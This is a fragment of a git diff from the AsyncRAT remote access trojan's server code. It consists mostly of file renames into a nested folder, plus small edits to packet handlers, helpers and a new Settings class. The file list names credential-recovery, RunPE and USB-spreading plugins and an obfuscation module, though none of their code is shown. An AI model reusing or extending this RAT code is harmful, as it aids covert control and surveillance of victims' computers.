AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleThumbnails.cs diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs similarity index 98% rename from AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs index c89c4c5..961d86a 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs @@ -49,7 +49,6 @@ namespace Server.Handle_Packet { client.Disconnected(); } - webcam.button1.PerformClick(); } else { diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/Packet.cs similarity index 95% rename from AsyncRAT-C#/Server/Handle Packet/Packet.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/Packet.cs index d042e31..2b86af3 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -86,7 +86,7 @@ namespace Server.Handle_Packet } case "remoteDesktop": { - new HandleRemoteDesktop(client, unpack_msgpack); + new HandleRemoteDesktop().Capture(client, unpack_msgpack); break; } @@ -138,12 +138,6 @@ namespace Server.Handle_Packet new HandleWebcam(unpack_msgpack, client); break; } - - case "plugin": - { - new HandlePlugin(client, unpack_msgpack.ForcePathObject("Hash").AsString); - break; - } } } diff --git a/AsyncRAT-C#/Server/Helper/AsyncTask.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/AsyncTask.cs similarity index 100% rename from AsyncRAT-C#/Server/Helper/AsyncTask.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Helper/AsyncTask.cs diff --git a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/CreateCertificate.cs similarity index 86% rename from AsyncRAT-C#/Server/Helper/CreateCertificate.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Helper/CreateCertificate.cs index 61776fd..0d6d09e 100644 --- a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/CreateCertificate.cs @@ -49,12 +49,5 @@ namespace Server.Helper return certificate2; } - - public static string Export() - { - var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); - var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); - return Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)); - } } } diff --git a/AsyncRAT-C#/Server/Helper/IconInjector.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/IconInjector.cs similarity index 100% rename from AsyncRAT-C#/Server/Helper/IconInjector.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Helper/IconInjector.cs diff --git a/AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs similarity index 100% rename from AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Helper/ListViewColumnSorter.cs diff --git a/AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs similarity index 100% rename from AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Helper/ListviewDoubleBuffer.cs diff --git a/AsyncRAT-C#/Server/Helper/Methods.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/Methods.cs similarity index 72% rename from AsyncRAT-C#/Server/Helper/Methods.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Helper/Methods.cs index 94e45ac..9840d6b 100644 --- a/AsyncRAT-C#/Server/Helper/Methods.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/Methods.cs @@ -1,6 +1,5 @@ using System; using System.IO; -using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; @@ -39,16 +38,5 @@ namespace Server.Helper return randomName.ToString(); } - - public static string GetHash(string strToHash) - { - MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); - byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); - bytesToHash = md5Obj.ComputeHash(bytesToHash); - StringBuilder strResult = new StringBuilder(); - foreach (byte b in bytesToHash) - strResult.Append(b.ToString("x2")); - return strResult.ToString(); - } } } diff --git a/AsyncRAT-C#/Server/Helper/ReferenceLoader.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Helper/ReferenceLoader.cs similarity index 100% rename from AsyncRAT-C#/Server/Helper/ReferenceLoader.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Helper/ReferenceLoader.cs diff --git a/AsyncRAT-C#/Server/MessagePack/BytesTools.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/BytesTools.cs similarity index 100% rename from AsyncRAT-C#/Server/MessagePack/BytesTools.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/BytesTools.cs diff --git a/AsyncRAT-C#/Server/MessagePack/MsgPack.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/MsgPack.cs similarity index 100% rename from AsyncRAT-C#/Server/MessagePack/MsgPack.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/MsgPack.cs diff --git a/AsyncRAT-C#/Server/MessagePack/MsgPackType.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/MsgPackType.cs similarity index 100% rename from AsyncRAT-C#/Server/MessagePack/MsgPackType.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/MsgPackType.cs diff --git a/AsyncRAT-C#/Server/MessagePack/ReadTools.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/ReadTools.cs similarity index 100% rename from AsyncRAT-C#/Server/MessagePack/ReadTools.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/ReadTools.cs diff --git a/AsyncRAT-C#/Server/MessagePack/WriteTools.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/WriteTools.cs similarity index 100% rename from AsyncRAT-C#/Server/MessagePack/WriteTools.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/MessagePack/WriteTools.cs diff --git a/AsyncRAT-C#/Server/Program.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Program.cs similarity index 100% rename from AsyncRAT-C#/Server/Program.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Program.cs diff --git a/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs similarity index 100% rename from AsyncRAT-C#/Server/Properties/AssemblyInfo.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Properties/AssemblyInfo.cs diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Resources.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Properties/Resources.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Resources.Designer.cs diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Resources.resx similarity index 100% rename from AsyncRAT-C#/Server/Properties/Resources.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Resources.resx diff --git a/AsyncRAT-C#/Server/Properties/Settings.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Settings.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Properties/Settings.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Settings.Designer.cs diff --git a/AsyncRAT-C#/Server/Properties/Settings.settings b/AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Settings.settings similarity index 100% rename from AsyncRAT-C#/Server/Properties/Settings.settings rename to AsyncRAT-C#/AsyncRAT-C#/Server/Properties/Settings.settings diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Base64.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/ClassesRenaming.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/DecryptionHelper.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/FieldsRenaming.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/InjectHelper.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/MethodsRenaming.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/NamespacesRenaming.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs diff --git a/AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs similarity index 100% rename from AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs diff --git a/AsyncRAT-C#/Server/Resources/Miscellaneous.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/Miscellaneous.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/Miscellaneous.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/Miscellaneous.png diff --git a/AsyncRAT-C#/Server/Resources/PluginRecovery.dll b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/PluginRecovery.dll similarity index 100% rename from AsyncRAT-C#/Server/Resources/PluginRecovery.dll rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/PluginRecovery.dll diff --git a/AsyncRAT-C#/Server/Resources/PluginRunPE.dll b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/PluginRunPE.dll similarity index 100% rename from AsyncRAT-C#/Server/Resources/PluginRunPE.dll rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/PluginRunPE.dll diff --git a/AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll similarity index 100% rename from AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/PluginUsbSpread.dll diff --git a/AsyncRAT-C#/Server/Resources/arrow_down.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/arrow_down.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/arrow_down.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/arrow_down.png diff --git a/AsyncRAT-C#/Server/Resources/arrow_up.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/arrow_up.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/arrow_up.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/arrow_up.png diff --git a/AsyncRAT-C#/Server/Resources/blank-screen.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/blank-screen.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/blank-screen.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/blank-screen.png diff --git a/AsyncRAT-C#/Server/Resources/botkiller.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/botkiller.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/botkiller.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/botkiller.png diff --git a/AsyncRAT-C#/Server/Resources/builder.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/builder.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/builder.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/builder.png diff --git a/AsyncRAT-C#/Server/Resources/cGeoIp.dll b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/cGeoIp.dll similarity index 100% rename from AsyncRAT-C#/Server/Resources/cGeoIp.dll rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/cGeoIp.dll diff --git a/AsyncRAT-C#/Server/Resources/chat.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/chat.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/chat.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/chat.png diff --git a/AsyncRAT-C#/Server/Resources/client.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/client.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/client.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/client.png diff --git a/AsyncRAT-C#/Server/Resources/coding.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/coding.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/coding.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/coding.png diff --git a/AsyncRAT-C#/Server/Resources/ddos.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/ddos.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/ddos.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/ddos.png diff --git a/AsyncRAT-C#/Server/Resources/disabled.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/disabled.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/disabled.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/disabled.png diff --git a/AsyncRAT-C#/Server/Resources/extra.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/extra.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/extra.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/extra.png diff --git a/AsyncRAT-C#/Server/Resources/filemanager.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/filemanager.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/filemanager.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/filemanager.png diff --git a/AsyncRAT-C#/Server/Resources/info.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/info.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/info.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/info.png diff --git a/AsyncRAT-C#/Server/Resources/key.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/key.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/key.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/key.png diff --git a/AsyncRAT-C#/Server/Resources/logger.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/logger.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/logger.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/logger.png diff --git a/AsyncRAT-C#/Server/Resources/monitoring-system.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/monitoring-system.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/monitoring-system.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/monitoring-system.png diff --git a/AsyncRAT-C#/Server/Resources/mouse.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/mouse.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/mouse.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/mouse.png diff --git a/AsyncRAT-C#/Server/Resources/mouse_enable.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/mouse_enable.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/mouse_enable.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/mouse_enable.png diff --git a/AsyncRAT-C#/Server/Resources/msgbox.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/msgbox.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/msgbox.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/msgbox.png diff --git a/AsyncRAT-C#/Server/Resources/netstat.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/netstat.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/netstat.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/netstat.png diff --git a/AsyncRAT-C#/Server/Resources/pc.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/pc.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/pc.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/pc.png diff --git a/AsyncRAT-C#/Server/Resources/play-button.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/play-button.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/play-button.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/play-button.png diff --git a/AsyncRAT-C#/Server/Resources/process.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/process.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/process.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/process.png diff --git a/AsyncRAT-C#/Server/Resources/remotedesktop.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/remotedesktop.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/remotedesktop.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/remotedesktop.png diff --git a/AsyncRAT-C#/Server/Resources/report.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/report.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/report.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/report.png diff --git a/AsyncRAT-C#/Server/Resources/save-image.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/save-image.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/save-image.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/save-image.png diff --git a/AsyncRAT-C#/Server/Resources/save-image2.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/save-image2.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/save-image2.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/save-image2.png diff --git a/AsyncRAT-C#/Server/Resources/settings.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/settings.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/settings.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/settings.png diff --git a/AsyncRAT-C#/Server/Resources/shell.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/shell.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/shell.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/shell.png diff --git a/AsyncRAT-C#/Server/Resources/stop (1).png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/stop (1).png similarity index 100% rename from AsyncRAT-C#/Server/Resources/stop (1).png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/stop (1).png diff --git a/AsyncRAT-C#/Server/Resources/system.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/system.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/system.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/system.png diff --git a/AsyncRAT-C#/Server/Resources/tomem.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/tomem.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/tomem.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/tomem.png diff --git a/AsyncRAT-C#/Server/Resources/tomem1.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/tomem1.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/tomem1.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/tomem1.png diff --git a/AsyncRAT-C#/Server/Resources/u-torrent-logo.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/u-torrent-logo.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/u-torrent-logo.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/u-torrent-logo.png diff --git a/AsyncRAT-C#/Server/Resources/uac.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/uac.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/uac.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/uac.png diff --git a/AsyncRAT-C#/Server/Resources/usb.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/usb.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/usb.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/usb.png diff --git a/AsyncRAT-C#/Server/Resources/visit.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/visit.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/visit.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/visit.png diff --git a/AsyncRAT-C#/Server/Resources/webcam.png b/AsyncRAT-C#/AsyncRAT-C#/Server/Resources/webcam.png similarity index 100% rename from AsyncRAT-C#/Server/Resources/webcam.png rename to AsyncRAT-C#/AsyncRAT-C#/Server/Resources/webcam.png diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/AsyncRAT-C#/Server/Server.csproj similarity index 98% rename from AsyncRAT-C#/Server/Server.csproj rename to AsyncRAT-C#/AsyncRAT-C#/Server/Server.csproj index dcb6529..80b58bb 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Server.csproj @@ -180,12 +180,11 @@ FormWebcam.cs - + - @@ -318,15 +317,12 @@ - - - - - - + + + diff --git a/AsyncRAT-C#/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Settings.cs new file mode 100644 index 0000000..f10b06e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Settings.cs @@ -0,0 +1,24 @@ +using Server.Algorithm; +using Server.Connection; +using System.Collections.Generic; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Windows.Forms; + +namespace Server +{ + public static class Settings + { + public static List Online = new List(); + public static List Blocked = new List(); + public static long Sent { get; set; } + public static long Received { get; set; } + + public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; + public static X509Certificate2 ServerCertificate; + public static readonly string Version = "AsyncRAT 0.5.2"; + public static object Listview1Lock = new object(); + public static object Listview2Lock = new object(); + public static object Listview3Lock = new object(); + } +} diff --git a/AsyncRAT-C#/Server/StreamLibrary/Enums.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/Enums.cs similarity index 100% rename from AsyncRAT-C#/Server/StreamLibrary/Enums.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/Enums.cs diff --git a/AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs similarity index 100% rename from AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs diff --git a/AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs similarity index 100% rename from AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs diff --git a/AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs similarity index 100% rename from AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs diff --git a/AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs similarity index 100% rename from AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs diff --git a/AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs similarity index 100% rename from AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs diff --git a/AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs similarity index 100% rename from AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs diff --git a/AsyncRAT-C#/Server/app.manifest b/AsyncRAT-C#/AsyncRAT-C#/Server/app.manifest similarity index 100% rename from AsyncRAT-C#/Server/app.manifest rename to AsyncRAT-C#/AsyncRAT-C#/Server/app.manifest diff --git a/AsyncRAT-C#/Server/async_icon.ico b/AsyncRAT-C#/AsyncRAT-C#/Server/async_icon.ico similarity index 100% rename from AsyncRAT-C#/Server/async_icon.ico rename to AsyncRAT-C#/AsyncRAT-C#/Server/async_icon.ico diff --git a/AsyncRAT-C#/Server/packages.config b/AsyncRAT-C#/AsyncRAT-C#/Server/packages.config similarity index 100% rename from AsyncRAT-C#/Server/packages.config rename to AsyncRAT-C#/AsyncRAT-C#/Server/packages.config diff --git a/AsyncRAT-C#/Client/FodyWeavers.xml b/AsyncRAT-C#/Client/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/AsyncRAT-C#/Client/FodyWeavers.xml +++ /dev/null @@ 